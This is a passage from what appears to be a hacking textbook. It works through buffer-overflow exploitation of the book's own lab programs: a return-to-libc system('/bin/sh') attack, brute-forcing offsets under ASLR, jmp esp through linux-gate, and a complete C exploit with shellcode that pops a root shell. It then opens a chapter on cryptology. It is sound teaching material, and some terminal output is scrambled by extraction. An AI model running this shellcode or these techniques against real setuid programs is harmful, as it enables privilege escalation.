Directly after the address of the desired libc function is the address to which execution should return after the libc call. After that, all of the function arguments come in sequence. In this case, it doesn’t really matter where the execution returns to after the libc call, since it will be opening an interactive shell. Therefore, these four bytes can just be a placeholder value of FAKE. There is only one argument, which should be a pointer to the string /bin/sh. This string can be stored anywhere in memory; an environment variable is an excellent candidate. In the output below, the string is prefixed with several spaces. This will act similarly to a NOP sled, providing us with some wiggle room, since system(" /bin/sh") is the same as system(" /bin/sh"). reader@hacking:~/booksrc $ export BINSH=" /bin/sh" reader@hacking:~/booksrc $ ./getenvaddr BINSH ./vuln BINSH will be at 0xbffffe5b reader@hacking:~/booksrc $

So the system() address is 0xb7ed0d80, and the address for the /bin/sh string will be 0xbffffe5b when the program is executed. That means the return address on the stack should be overwritten with a series of addresses, beginning with 0xb7ecfd80, followed by FAKE (since it doesn’t matter where execution goes after the system() call), and concluding with 0xbffffe5b.

378

0x 600

A quick binary search shows that the return address is probably overwritten by the eighth word of the program input, so seven words of dummy data are used for spacing in the exploit. reader@hacking:~/booksrc reader@hacking:~/booksrc Segmentation fault reader@hacking:~/booksrc Segmentation fault reader@hacking:~/booksrc Illegal instruction reader@hacking:~/booksrc xff\xbf"') sh-3.2# whoami root sh-3.2# $ ./vuln $(perl -e 'print "ABCD"x5') $ ./vuln $(perl -e 'print "ABCD"x10') $ ./vuln $(perl -e 'print "ABCD"x8') $ ./vuln $(perl -e 'print "ABCD"x7') $ ./vuln $(perl -e 'print "ABCD"x7 . "\x80\x0d\xed\xb7FAKE\x5b\xfe\

The exploit can be expanded upon by making chained libc calls, if needed. The return address of FAKE used in the example can be changed to direct program execution. Additional libc calls can be made, or execution can be directed into some other useful section in the program’s existing instructions.

0x6c0

Randomized Stack Space
Another protective countermeasure tries a slightly different approach. Instead of preventing execution on the stack, this countermeasure randomizes the stack memory layout. When the memory layout is randomized, the attacker won’t be able to return execution into waiting shellcode, since he won’t know where it is. This countermeasure has been enabled by default in the Linux kernel since 2.6.12, but this book’s LiveCD has been configured with it turned off. To turn this protection on again, echo 1 to the /proc filesystem as shown below.

reader@hacking:~/booksrc $ sudo su root@hacking:~ # echo 1 > /proc/sys/kernel/randomize_va_space root@hacking:~ # exit logout reader@hacking:~/booksrc $ gcc exploit_notesearch.c reader@hacking:~/booksrc $ ./a.out [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 -------[ end of note data ]------reader@hacking:~/booksrc $

With this countermeasure turned on, the notesearch exploit no longer works, since the layout of the stack is randomized. Every time a program starts, the stack begins at a random location. The following example demonstrates this.

C oun t erm ea s ure s

379

aslr_demo.c
#include int main(int argc, char *argv[]) { char buffer[50]; printf("buffer is at %p\n", &buffer); if(argc > 1) strcpy(buffer, argv[1]); return 1; }

This program has an obvious buffer overflow vulnerability in it. However, with ASLR turned on, exploitation isn’t that easy. reader@hacking:~/booksrc reader@hacking:~/booksrc buffer is at 0xbffbbf90 reader@hacking:~/booksrc buffer is at 0xbfe4de20 reader@hacking:~/booksrc buffer is at 0xbfc7ac50 reader@hacking:~/booksrc buffer is at 0xbf9a4920 Segmentation fault reader@hacking:~/booksrc $ gcc -g -o aslr_demo aslr_demo.c $ ./aslr_demo $ ./aslr_demo $ ./aslr_demo $ ./aslr_demo $(perl -e 'print "ABCD"x20')

$

Notice how the location of the buffer on the stack changes with every run. We can still inject the shellcode and corrupt memory to overwrite the return address, but we don’t know where the shellcode is in memory. The randomization changes the location of everything on the stack, including environment variables. reader@hacking:~/booksrc $ export SHELLCODE=$(cat reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE SHELLCODE will be at 0xbfd919c3 reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE SHELLCODE will be at 0xbfe499c3 reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE SHELLCODE will be at 0xbfcae9c3 reader@hacking:~/booksrc $ shellcode.bin) ./aslr_demo ./aslr_demo ./aslr_demo

This type of protection can be very effective in stopping exploits by the average attacker, but it isn’t always enough to stop a determined hacker. Can you think of a way to successfully exploit this program under these conditions?

0x6c1

Investigations with BASH and GDB

Since ASLR doesn’t stop the memory corruption, we can still use a bruteforcing BASH script to figure out the offset to the return address from the
380
0x 600

beginning of the buffer. When a program exits, the value returned from the main function is the exit status. This status is stored in the BASH variable $?, which can be used to detect whether the program crashed. reader@hacking:~/booksrc buffer is at 0xbfb80320 reader@hacking:~/booksrc 1 reader@hacking:~/booksrc buffer is at 0xbfbe2ac0 Segmentation fault reader@hacking:~/booksrc 139 reader@hacking:~/booksrc $ ./aslr_demo test $ echo $? $ ./aslr_demo $(perl -e 'print "AAAA"x50')

$ echo $? $

Using BASH’s if statement logic, we can stop our brute-forcing script when it crashes the target. The if statement block is contained between the keywords then and fi; the whitespace in the if statement is required. The break statement tells the script to break out of the for loop. reader@hacking:~/booksrc $ for i in $(seq 1 50) > do > echo "Trying offset of $i words" > ./aslr_demo $(perl -e "print 'AAAA'x$i") > if [ $? != 1 ] > then > echo "==> Correct offset to return address is $i words" > break > fi > done Trying offset of 1 words buffer is at 0xbfc093b0 Trying offset of 2 words buffer is at 0xbfd01ca0 Trying offset of 3 words buffer is at 0xbfe45de0 Trying offset of 4 words buffer is at 0xbfdcd560 Trying offset of 5 words buffer is at 0xbfbf5380 Trying offset of 6 words buffer is at 0xbffce760 Trying offset of 7 words buffer is at 0xbfaf7a80 Trying offset of 8 words buffer is at 0xbfa4e9d0 Trying offset of 9 words buffer is at 0xbfacca50 Trying offset of 10 words buffer is at 0xbfd08c80 Trying offset of 11 words buffer is at 0xbff24ea0 Trying offset of 12 words buffer is at 0xbfaf9a70
C oun t erm ea s ure s

381

Trying offset of 13 words buffer is at 0xbfe0fd80 Trying offset of 14 words buffer is at 0xbfe03d70 Trying offset of 15 words buffer is at 0xbfc2fb90 Trying offset of 16 words buffer is at 0xbff32a40 Trying offset of 17 words buffer is at 0xbf9da940 Trying offset of 18 words buffer is at 0xbfd0cc70 Trying offset of 19 words buffer is at 0xbf897ff0 Illegal instruction ==> Correct offset to return address is 19 words reader@hacking:~/booksrc $

Knowing the proper offset will let us overwrite the return address. However, we still cannot execute shellcode since its location is randomized. Using GDB, let’s look at the program just as it’s about to return from the main function. reader@hacking:~/booksrc $ gdb -q ./aslr_demo Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x080483b4 : push ebp 0x080483b5 : mov ebp,esp 0x080483b7 : sub esp,0x58 0x080483ba : and esp,0xfffffff0 0x080483bd : mov eax,0x0 0x080483c2 : sub esp,eax 0x080483c4 : lea eax,[ebp-72] 0x080483c7 : mov DWORD PTR [esp+4],eax 0x080483cb : mov DWORD PTR [esp],0x80484d4 0x080483d2 : call 0x80482d4 0x080483d7 : cmp DWORD PTR [ebp+8],0x1 0x080483db : jle 0x80483f4 0x080483dd : mov eax,DWORD PTR [ebp+12] 0x080483e0 : add eax,0x4 0x080483e3 : mov eax,DWORD PTR [eax] 0x080483e5 : mov DWORD PTR [esp+4],eax 0x080483e9 : lea eax,[ebp-72] 0x080483ec : mov DWORD PTR [esp],eax 0x080483ef : call 0x80482c4 0x080483f4 : mov eax,0x1 0x080483f9 : leave 0x080483fa : ret End of assembler dump. (gdb) break *0x080483fa Breakpoint 1 at 0x80483fa: file aslr_demo.c, line 12. (gdb)

382

0x 600

The breakpoint is set at the last instruction of main. This instruction returns EIP to the return address stored on the stack. When an exploit overwrites the return address, this is the last instruction where the original program has control. Let’s take a look at the registers at this point in the code for a couple of different trial runs.
(gdb) run Starting program: /home/reader/booksrc/aslr_demo buffer is at 0xbfa131a0 Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12 12 } (gdb) info registers eax 0x1 1 ecx 0x0 0 edx 0xb7f000b0 -1209007952 ebx 0xb7efeff4 -1209012236 esp 0xbfa131ec 0xbfa131ec ebp 0xbfa13248 0xbfa13248 esi 0xb7f29ce0 -1208836896 edi 0x0 0 eip 0x80483fa 0x80483fa eflags 0x200246 [ PF ZF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/reader/booksrc/aslr_demo buffer is at 0xbfd8e520 Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12 12 } (gdb) i r esp 0xbfd8e56c esp 0xbfd8e56c (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/reader/booksrc/aslr_demo buffer is at 0xbfaada40 Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12 12 } (gdb) i r esp esp 0xbfaada8c 0xbfaada8c (gdb)

C oun t erm ea s ure s

383

Despite the randomization between runs, notice how similar the address in ESP is to the address of the buffer (shown in bold). This makes sense, since the stack pointer points to the stack and the buffer is on the stack. ESP’s value and the buffer’s address are changed by the same random value, because they are relative to each other. GDB’s stepi command steps the program forward in execution by a single instruction. Using this, we can check ESP’s value after the ret instruction has executed.
(gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/reader/booksrc/aslr_demo buffer is at 0xbfd1ccb0 Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12 12 } (gdb) i r esp esp 0xbfd1ccfc 0xbfd1ccfc (gdb) stepi 0xb7e4debc in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6 (gdb) i r esp esp 0xbfd1cd00 0xbfd1cd00 (gdb) x/24x 0xbfd1ccb0 0xbfd1ccb0: 0x00000000 0x080495cc 0xbfd1ccc8 0x08048291 0xbfd1ccc0: 0xb7f3d729 0xb7f74ff4 0xbfd1ccf8 0x08048429 0xbfd1ccd0: 0xb7f74ff4 0xbfd1cd8c 0xbfd1ccf8 0xb7f74ff4 0xbfd1cce0: 0xb7f937b0 0x08048410 0x00000000 0xb7f74ff4 0xbfd1ccf0: 0xb7f9fce0 0x08048410 0xbfd1cd58 0xb7e4debc 0xbfd1cd00: 0x00000001 0xbfd1cd84 0xbfd1cd8c 0xb7fa0898 (gdb) p 0xbfd1cd00 - 0xbfd1ccb0 $1 = 80 (gdb) p 80/4 $2 = 20 (gdb)

Single stepping shows that the ret instruction increases the value of ESP by 4. Subtracting the value of ESP from the address of the buffer, we find that ESP is pointing 80 bytes (or 20 words) from the start of the buffer. Since the return address’s offset was 19 words, this means that after main’s final ret instruction, ESP points to stack memory found directly after the return address. This would be useful if there was a way to control EIP to go where ESP is pointing instead.

0x6c2

Bouncing Off linux-gate

The technique described below doesn’t work with Linux kernels starting from 2.6.18. This technique gained some popularity and, of course, the developers patched the problem. The kernel used in the included LiveCD is 2.6.20, so the output below is from the machine loki, which is running a 2.6.17 Linux kernel. Even though this particular technique doesn’t work on the LiveCD, the concepts behind it can be applied in other useful ways.
384
0x 600

Bouncing off linux-gate refers to a shared object, exposed by the kernel, which looks like a shared library. The program ldd shows a program’s shared library dependencies. Do you notice anything interesting about the linux-gate library in the output below? matrix@loki /hacking $ $ uname -a Linux hacking 2.6.17 #2 SMP Sun Apr 11 03:42:05 UTC 2007 i686 GNU/Linux matrix@loki /hacking $ cat /proc/sys/kernel/randomize_va_space 1 matrix@loki /hacking $ ldd ./aslr_demo linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/libc.so.6 (0xb7eb2000) /lib/ld-linux.so.2 (0xb7fe5000) matrix@loki /hacking $ ldd /bin/ls linux-gate.so.1 => (0xffffe000) librt.so.1 => /lib/librt.so.1 (0xb7f95000) libc.so.6 => /lib/libc.so.6 (0xb7e75000) libpthread.so.0 => /lib/libpthread.so.0 (0xb7e62000) /lib/ld-linux.so.2 (0xb7fb1000) matrix@loki /hacking $ ldd /bin/ls linux-gate.so.1 => (0xffffe000) librt.so.1 => /lib/librt.so.1 (0xb7f50000) libc.so.6 => /lib/libc.so.6 (0xb7e30000) libpthread.so.0 => /lib/libpthread.so.0 (0xb7e1d000) /lib/ld-linux.so.2 (0xb7f6c000) matrix@loki /hacking $

Even in different programs and with ASLR enabled, linux-gate.so.1 is always present at the same address. This is a virtual dynamically shared object used by the kernel to speed up system calls, which means it’s needed in every process. It is loaded straight from the kernel and doesn’t exist anywhere on disk. The important thing is that every process has a block of memory containing linux-gate’s instructions, which are always at the same location, even with ASLR. We are going to search this memory space for a certain assembly instruction, jmp esp. This instruction will jump EIP to where ESP is pointing. First, we assemble the instruction to see what it looks like in machine code. matrix@loki /hacking BITS 32 jmp esp matrix@loki /hacking matrix@loki /hacking 00000000 ff e4 00000002 matrix@loki /hacking $ cat > jmpesp.s

$ nasm jmpesp.s $ hexdump -C jmpesp |..| $

Using this information, a simple program can be written to find this pattern in the program’s own memory.

C oun t erm ea s ure s

385

find_jmpesp.c int main() { unsigned long linuxgate_start = 0xffffe000; char *ptr = (char *) linuxgate_start; int i; for(i=0; i < 4096; i++) { if(ptr[i] == '\xff' && ptr[i+1] == '\xe4') printf("found jmp esp at %p\n", ptr+i); } }

When the program is compiled and run, it shows that this instruction exists at 0xffffe777. This can be further verified using GDB: matrix@loki /hacking $ ./find_jmpesp found jmp esp at 0xffffe777 matrix@loki /hacking $ gdb -q ./aslr_demo Using host libthread_db library "/lib/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x80483f0: file aslr_demo.c, line 7. (gdb) run Starting program: /hacking/aslr_demo Breakpoint 1, main (argc=1, argv=0xbf869894) at aslr_demo.c:7 7 printf("buffer is at %p\n", &buffer); (gdb) x/i 0xffffe777 0xffffe777: jmp esp (gdb)

Putting it all together, if we overwrite the return address with the address
0xffffe777, then execution will jump into linux-gate when the main function returns. Since this is a jmp esp instruction, execution will immediately jump

back out of linux-gate to wherever ESP happens to be pointing. From our previous debugging, we know that at the end of the main function, ESP is pointing to memory directly after the return address. So if shellcode is put here, EIP should bounce right into it. matrix@loki /hacking $ sudo chown root:root ./aslr_demo matrix@loki /hacking $ sudo chmod u+s ./aslr_demo matrix@loki /hacking $ ./aslr_demo $(perl -e 'print "\x77\xe7\xff\xff"x20')$(cat scode.bin) buffer is at 0xbf8d9ae0 sh-3.1#

This technique can also be used to exploit the notesearch program, as shown here.

386

0x 600

matrix@loki /hacking $ for i in `seq 1 50`; do ./notesearch $(perl -e "print 'AAAA'x$i"); if [ $? == 139 ]; then echo "Try $i words"; break; fi; done [DEBUG] found a 34 byte note for user id 1000 [DEBUG] found a 41 byte note for user id 1000 [DEBUG] found a 63 byte note for user id 1000 -------[ end of note data ]------*** OUTPUT TRIMMED *** [DEBUG] found a 34 byte note for user id 1000 [DEBUG] found a 41 byte note for user id 1000 [DEBUG] found a 63 byte note for user id 1000 -------[ end of note data ]------Segmentation fault Try 35 words matrix@loki /hacking $ ./notesearch $(perl -e 'print "\x77\xe7\xff\xff"x35')$(cat scode.bin) [DEBUG] found a 34 byte note for user id 1000 [DEBUG] found a 41 byte note for user id 1000 [DEBUG] found a 63 byte note for user id 1000 -------[ end of note data ]------Segmentation fault matrix@loki /hacking $ ./notesearch $(perl -e 'print "\x77\xe7\xff\xff"x36')$(cat scode2.bin) [DEBUG] found a 34 byte note for user id 1000 [DEBUG] found a 41 byte note for user id 1000 [DEBUG] found a 63 byte note for user id 1000 -------[ end of note data ]------sh-3.1#

The initial estimate of 35 words was off, since the program still crashed with the slightly smaller exploit buffer. But it is in the right ballpark, so a manual tweak (or a more accurate way to calculate the offset) is all that is needed. Sure, bouncing off linux-gate is a slick trick, but it only works with older Linux kernels. Back on the LiveCD, running Linux 2.6.20, the useful instruction is no longer found in the usual address space. reader@hacking:~/booksrc $ uname -a Linux hacking 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux reader@hacking:~/booksrc $ gcc -o find_jmpesp find_jmpesp.c reader@hacking:~/booksrc $ ./find_jmpesp reader@hacking:~/booksrc $ gcc -g -o aslr_demo aslr_demo.c reader@hacking:~/booksrc $ ./aslr_demo test buffer is at 0xbfcf3480 reader@hacking:~/booksrc $ ./aslr_demo test buffer is at 0xbfd39cd0 reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin) reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo SHELLCODE will be at 0xbfc8d9c3 reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo SHELLCODE will be at 0xbfa0c9c3 reader@hacking:~/booksrc $

C oun t erm ea s ure s

387

Without the jmp esp instruction at a predictable address, there is no easy way to bounce off of linux-gate. Can you think of a way to bypass ASLR to exploit aslr_demo on the LiveCD?

0x6c3

Applied Knowledge

Situations like this are what makes hacking an art. The state of computer security is a constantly changing landscape, and specific vulnerabilities are discovered and patched every day. However, if you understand the concepts of the core hacking techniques explained in this book, you can apply them in new and inventive ways to solve the problem du jour. Like LEGO bricks, these techniques can be used in millions of different combinations and configurations. As with any art, the more you practice these techniques, the better you’ll understand them. With this understanding comes the wisdom to guesstimate offsets and recognize memory segments by their address ranges. In this case, the problem is still ASLR. Hopefully, you have a few bypass ideas you might want to try out now. Don’t be afraid to use the debugger to examine what is actually happening. There are probably several ways to bypass ASLR, and you may invent a new technique. If you don’t find a solution, don’t worry—I’ll explain a method in the next section. But it’s worthwhile to think about this problem a little on your own before reading ahead.

0x6c4

A First Attempt

In fact, I had written this chapter before linux-gate was fixed in the Linux kernel, so I had to hack together an ASLR bypass. My first thought was to leverage the execl() family of functions. We’ve been using the execve() function in our shellcode to spawn a shell, and if you pay close attention (or just read the man page), you’ll notice the execve() function replaces the currently running process with the new process image.
EXEC(3) NAME execl, execlp, execle, execv, execvp - execute a file SYNOPSIS #include extern char **environ; int execl(const char *path, const char *arg, ...); int execlp(const char *file, const char *arg, ...); int execle(const char *path, const char *arg, ..., char * const envp[]); int execv(const char *path, char *const argv[]); int execvp(const char *file, char *const argv[]); DESCRIPTION The exec() family of functions replaces the current process image with a new process image. The functions described in this manual page are front-ends for the function execve(2). (See the Linux Programmer's Manual

388

0x 600

manual page for execve() for detailed replacement of the current process.)

information

about

the

It seems like there could be a weakness here if the memory layout is randomized only when the process is started. Let’s test this hypothesis with a piece of code that prints the address of a stack variable and then executes aslr_demo using an execl() function. aslr_execl.c
#include #include int main(int argc, char *argv[]) { int stack_var; // Print an address from the current stack frame. printf("stack_var is at %p\n", &stack_var); // Start aslr_demo to see how its stack is arranged. execl("./aslr_demo", "aslr_demo", NULL); }

When this program is compiled and executed, it will execl() aslr_demo, which also prints the address of a stack variable (buffer). This lets us compare the memory layouts. reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ buffer is at 0xbf9f31c0 reader@hacking:~/booksrc $ buffer is at 0xbffaaf70 reader@hacking:~/booksrc $ stack_var is at 0xbf832044 buffer is at 0xbf832000 reader@hacking:~/booksrc $ $1 = 68 reader@hacking:~/booksrc $ stack_var is at 0xbfa97844 buffer is at 0xbf82f800 reader@hacking:~/booksrc $ $1 = 2523204 reader@hacking:~/booksrc $ stack_var is at 0xbfbb0bc4 buffer is at 0xbff3e710 reader@hacking:~/booksrc $ $1 = 4291241140 reader@hacking:~/booksrc $ stack_var is at 0xbf9a81b4 buffer is at 0xbf9a8180 reader@hacking:~/booksrc $ $1 = 52 reader@hacking:~/booksrc $ gcc -o aslr_demo aslr_demo.c gcc -o aslr_execl aslr_execl.c ./aslr_demo test ./aslr_demo test ./aslr_execl

gdb -q --batch -ex "p 0xbf832044 - 0xbf832000" ./aslr_execl

gdb -q --batch -ex "p 0xbfa97844 - 0xbf82f800" ./aslr_execl

gdb -q --batch -ex "p 0xbfbb0bc4 - 0xbff3e710" ./aslr_execl

gdb -q --batch -ex "p 0xbf9a81b4 - 0xbf9a8180"

C oun t erm ea s ure s

389

The first result looks very promising, but further attempts show that there is some degree of randomization happening when the new process is executed with execl(). I’m sure this wasn’t always the case, but the progress of open source is rather constant. This isn’t much of a problem though, since we have ways to deal with that partial uncertainty.

0x6c5

Playing the Odds

Using execl() at least limits the randomness and gives us a ballpark address range. The remaining uncertainty can be handled with a NOP sled. A quick examination of aslr_demo shows that the overflow buffer needs to be 80 bytes to overwrite the stored return address on the stack. reader@hacking:~/booksrc $ gdb -q ./aslr_demo Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) run $(perl -e 'print "AAAA"x19 . "BBBB"') Starting program: /home/reader/booksrc/aslr_demo $(perl -e 'print "AAAA"x19 . "BBBB"') buffer is at 0xbfc7d3b0 Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) p 20*4 $1 = 80 (gdb) quit The program is running. Exit anyway? (y or n) y reader@hacking:~/booksrc $

Since we will probably want a rather large NOP sled, in the following exploit the NOP sled and the shellcode will be put after the return address overwrite. This allows us to inject as much of a NOP sled as needed. In this case, a thousand bytes or so should be sufficient. aslr_execl_exploit.c
#include #include #include char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; // Standard shellcode int main(int argc, char *argv[]) { unsigned int i, ret, offset; char buffer[1000]; printf("i is at %p\n", &i); if(argc > 1) // Set offset. offset = atoi(argv[1]); ret = (unsigned int) &i - offset + 200; // Set return address. printf("ret addr is %p\n", ret);

390

0x 600

for(i=0; i < 90; i+=4) // Fill buffer with return address. *((unsigned int *)(buffer+i)) = ret; memset(buffer+84, 0x90, 900); // Build NOP sled. memcpy(buffer+900, shellcode, sizeof(shellcode)); execl("./aslr_demo", "aslr_demo", buffer, } NULL);

This code should make sense to you. The value 200 is added to the return address to skip over the first 90 bytes used for the overwrite, so execution lands somewhere in the NOP sled. reader@hacking:~/booksrc reader@hacking:~/booksrc reader@hacking:~/booksrc reader@hacking:~/booksrc i is at 0xbfa3f26c ret addr is 0xb79f6de4 buffer is at 0xbfa3ee80 Segmentation fault reader@hacking:~/booksrc $1 = 1004 reader@hacking:~/booksrc i is at 0xbfe9b6cc ret addr is 0xbfe9b3a8 buffer is at 0xbfe9b2e0 sh-3.2# exit exit reader@hacking:~/booksrc i is at 0xbfb5a38c ret addr is 0xbfb5a068 buffer is at 0xbfb20760 Segmentation fault reader@hacking:~/booksrc $1 = 236588 reader@hacking:~/booksrc i is at 0xbfce050c ret addr is 0xbfce01e8 buffer is at 0xbfce0130 sh-3.2# whoami root sh-3.2# $ $ $ $ sudo chown root ./aslr_demo sudo chmod u+s ./aslr_demo gcc aslr_execl_exploit.c ./a.out

$ gdb -q --batch -ex "p 0xbfa3f26c - 0xbfa3ee80" $ ./a.out 1004

$ ./a.out 1004

$ gdb -q --batch -ex "p 0xbfb5a38c - 0xbfb20760" $ ./a.out 1004

As you can see, occasionally the randomization causes the exploit to fail, but it only needs to succeed once. This leverages the fact that we can try the exploit as many times as we want. The same technique will work with the notesearch exploit while ASLR is running. Try writing an exploit to do this. Once the basic concepts of exploiting programs are understood, countless variations are possible with a little bit of creativity. Since the rules of a program are defined by its creators, exploiting a supposedly secure program is simply a matter of beating them at their own game. New clever methods, such as stack guards and IDSs, try to compensate for these problems, but these solutions aren’t perfect either. A hacker’s ingenuity tends to find holes in these systems. Just think of the things they didn’t think of.
C oun t erm ea s ure s

391

0x700
CRYPTOLOGY
Cryptology is defined as the study of cryptography or cryptanalysis. Cryptography is simply the process of communicating secretly through the use of ciphers, and cryptanalysis is the process of cracking or deciphering such secret communications. Historically, cryptology has been of particular interest during wars, when countries used secret codes to communicate with their troops while also trying to break the enemy’s codes to infiltrate their communications. The wartime applications still exist, but the use of cryptography in civilian life is becoming increasingly popular as more critical transactions occur over the Internet. Network sniffing is so common that the paranoid assumption that someone is always sniffing network traffic might not be so paranoid. Passwords, credit card numbers, and other proprietary information can all be sniffed and stolen over unencrypted protocols. Encrypted communication protocols provide a solution to this lack of privacy and allow the Internet economy to function. Without Secure Sockets Layer (SSL)

encryption, credit card transactions at popular websites would be either very inconvenient or insecure. All of this private data is protected by cryptographic algorithms that are probably secure. Currently, cryptosystems that can be proven to be secure are far too unwieldy for practical use. So in lieu of a mathematical proof of security, cryptosystems that are practically secure are used. This means that it’s possible that shortcuts for defeating these ciphers exist, but no one’s been able to actualize them yet. Of course, there are also cryptosystems that aren’t secure at all. This could be due to the implementation, key size, or simply cryptanalytic weaknesses in the cipher itself. In 1997, under US law, the maximum allowable key size for encryption in exported software was 40 bits. This limit on key size makes the corresponding cipher insecure, as was shown by RSA Data Security and Ian Goldberg, a graduate student from the University of California, Berkeley. RSA posted a challenge to decipher a message encrypted with a 40-bit key, and three and a half hours later, Ian had done just that. This was strong evidence that 40-bit keys aren’t large enough for a secure cryptosystem. Cryptology is relevant to hacking in a number of ways. At the purest level, the challenge of solving a puzzle is enticing to the curious. At a more nefarious level, the secret data protected by that puzzle is perhaps even more alluring. Breaking or circumventing the cryptographic protections of secret data can provide a certain sense of satisfaction, not to mention a sense of the protected data’s contents. In addition, strong cryptography is useful in avoiding detection. Expensive network intrusion detection systems designed to sniff network traffic for attack signatures are useless if the attacker is using an encrypted communication channel. Often, the encrypted Web access provided for customer security is used by attackers as a difficult-to-monitor attack vector.

0x710

Information Theory
Many of the concepts of cryptographic security stem from the mind of Claude Shannon. His ideas have influenced the field of cryptography greatly, especially the concepts of diffusion and confusion. Although the following concepts of unconditional security, one-time pads, quantum key distribution, and computational security weren’t actually conceived by Shannon, his ideas on perfect secrecy and information theory had great influence on the definitions of security.

0x711 Unconditional Security
A cryptographic system is considered to be unconditionally secure if it cannot be broken, even with infinite computational resources. This implies that cryptanalysis is impossible and that even if every possible key were tried in an exhaustive brute-force attack, it would be impossible to determine which key was the correct one.

394

0x 700

0x712 One-Time Pads
One example of an unconditionally secure cryptosystem is the one-time pad. A one-time pad is a very simple cryptosystem that uses blocks of random data called pads. The pad must be at least as long as the plaintext message that is to be encoded, and the random data on the pad must be truly random, in the most literal sense of the word. Two identical pads are made: one for the recipient and one for the sender. To encode a message, the sender simply XORs each bit of the plaintext message with the corresponding bit of the pad. After the message is encoded, the pad is destroyed to ensure that it is only used once. Then the encrypted message can be sent to the recipient without fear of cryptanalysis, since the encrypted message cannot be broken without the pad. When the recipient receives the encrypted message, he also XORs each bit of the encrypted message with the corresponding bit of his pad to produce the original plaintext message. While the one-time pad is theoretically impossible to break, in reality it’s not really all that practical to use. The security of the one-time pad hinges on the security of the pads. When the pads are distributed to the recipient and the sender, it is assumed that the pad transmission channel is secure. To be truly secure, this could involve a face-to-face meeting and exchange, but for convenience, the pad transmission may be facilitated via yet another cipher. The price of this convenience is that the entire system is now only as strong as the weakest link, which would be the cipher used to transmit the pads. Since the pad consists of random data of the same length as the plaintext message, and since the security of the whole system is only as good as the security of pad transmission, it usually makes more sense to just send the plaintext message encoded using the same cipher that would have been used to transmit the pad.

0x713 Quantum Key Distribution
The advent of quantum computation brings many interesting things to the field of cryptology. One of these is a practical implementation of the onetime pad, made possible by quantum key distribution. The mystery of quantum entanglement can provide a reliable and secret method of sending a random string of bits that can be used as a key. This is done using nonorthogonal quantum states in photons. Without going into too much detail, the polarization of a photon is the oscillation direction of its electric field, which in this case can be along the horizontal, vertical, or one of the two diagonals. Nonorthogonal simply means the states are separated by an angle that isn’t 90 degrees. Curiously enough, it’s impossible to determine with certainty which of these four polarizations a single photon has. The rectilinear basis of the horizontal and vertical polarizations is incompatible with the diagonal basis of the two diagonal polarizations, so, due to the Heisenberg uncertainty principle, these two sets of polarizations cannot both be measured. Filters can be used to measure the polarizations— one for the rectilinear basis and one for the diagonal basis. When a photon passes through the correct filter, its polarization won’t change, but if it passes
C r y pt ol og y

395

through the incorrect filter, its polarization will be randomly modified. This means that any eavesdropping attempt to measure the polarization of a photon has a good chance of scrambling the data, making it apparent that the channel isn’t secure. These strange aspects of quantum mechanics were put to good use by Charles Bennett and Gilles Brassard in the first and probably best-known quantum key distribution scheme, called BB84. First, the sender and receiver agree on bit representation for the four polarizations, such that each basis has both 1 and 0. In this scheme, 1 could be represented by both vertical photon polarization and one of the diagonal polarizations (positive 45 degrees), while 0 could be represented by horizontal polarization and the other diagonal polarization (negative 45 degrees). This way, 1s and 0s can exist when the rectilinear polarization is measured and when the diagonal polarization is measured. Then, the sender sends a stream of random photons, each coming from a randomly chosen basis (either rectilinear or diagonal), and these photons are recorded. When the receiver receives a photon, he also randomly chooses to measure it in either the rectilinear basis or the diagonal basis and records the result. Now, the two parties publicly compare which basis they used for each photon, and they keep only the data corresponding to the photons they both measured using the same basis. This doesn’t reveal the bit values of the photons, since there are both 1s and 0s in each basis. This makes up the key for the one-time pad. Since an eavesdropper would ultimately end up changing the polarization of some of these photons and thus scramble the data, eavesdropping can be detected by computing the error rate of some random subset of the key. If there are too many errors, someone was probably eavesdropping, and the key should be thrown away. If not, the transmission of the key data was secure and private.

0x714 Computational Security
A cryptosystem is considered to be computationally secure if the best-known algorithm for breaking it requires an unreasonable amount of computational resources and time. This means that it is theoretically possible for an eavesdropper to break the encryption, but it is practically infeasible to actually do so, since the amount of time and resources necessary would far exceed the value of the encrypted information. Usually, the time needed to break a computationally secure cryptosystem is measured in tens of thousands of years, even with the assumption of a vast array of computational resources. Most modern cryptosystems fall into this category. It’s important to note that the best-known algorithms for breaking cryptosystems are always evolving and being improved. Ideally, a cryptosystem would be defined as computationally secure if the best algorithm for breaking it requires an unreasonable amount of computational resources and time, but there is currently no way to prove that a given encryption-breaking algorithm is and always will be the best one. So, the current best-known algorithm is used instead to measure a cryptosystem’s security.
396
0x 700

0x720

Algorithmic Run Time
